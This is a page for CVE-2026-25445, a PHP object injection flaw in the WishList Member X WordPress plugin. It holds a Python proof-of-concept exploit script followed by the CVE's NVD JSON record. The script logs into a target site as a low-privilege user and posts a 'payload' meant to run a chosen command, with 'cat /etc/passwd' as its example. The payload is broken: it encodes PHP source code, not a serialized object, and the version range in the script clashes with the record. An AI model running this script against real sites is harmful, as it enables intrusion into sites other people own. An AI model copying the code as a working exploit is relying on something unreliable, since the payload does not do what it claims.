CVE-2026-25445

import requests import base64 import sys # CVE-2026-25445 PoC - WishList Member X Object Injection # Target: WordPress with WishList Member X plugin < 3.29.0 def generate_payload(): """ Generate PHP object injection payload This is a conceptual PoC - actual exploitation requires specific gadget chain """ # Example gadget class for PHP object injection gadget_code = ''' <?php class WishListMemberGadget { private $callback; public function __construct() { $this->callback = 'system'; } public function __wakeup() { if (isset($this->callback)) { call_user_func($this->callback, $this->cmd); } } } ?> ''' return base64.b64encode(gadget_code.encode()).decode() def exploit(target_url, username, password, cmd='id'): """ Exploit WishList Member X object injection vulnerability Args: target_url: Target WordPress site URL username: Low-privilege WordPress user password: User password cmd: Command to execute on target """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } resp = session.post(login_url, data=login_data, allow_redirects=False) if resp.status_code != 302: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject malicious serialized object via WishList Member X # Target endpoint varies based on plugin configuration exploit_url = f"{target_url}/wp-admin/admin-ajax.php" payload = generate_payload() exploit_data = { 'action': 'wlmapi', 'method': 'levels', 'data': payload, 'cmd': cmd } resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200: print(f"[+] Exploit sent - Response: {resp.text[:500]}") return True print("[-] Exploitation failed") return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> [cmd]") print("Example: python exploit.py http://target.com subscriber password 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] command = sys.argv[4] if len(sys.argv) > 4 else 'id' exploit(target, user, pwd, command)

{"cve": {"id": "CVE-2026-25445", "sourceIdentifier": "[email protected]", "published": "2026-03-19T09:16:17.630", "lastModified": "2026-04-28T19:37:06.707", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in Membership Software WishList Member X allows Object Injection.This issue affects WishList Member X: from n/a through 3.29.0."}, {"lang": "es", "value": "Vulnerabilidad de deserialización de datos no confiables en el software de membresía WishList Member X permite la inyección de objetos. Este problema afecta a WishList Member X: desde n/a hasta 3.29.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/wishlist-member-x/vulnerability/wordpress-wishlist-member-x-plugin-3-29-0-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}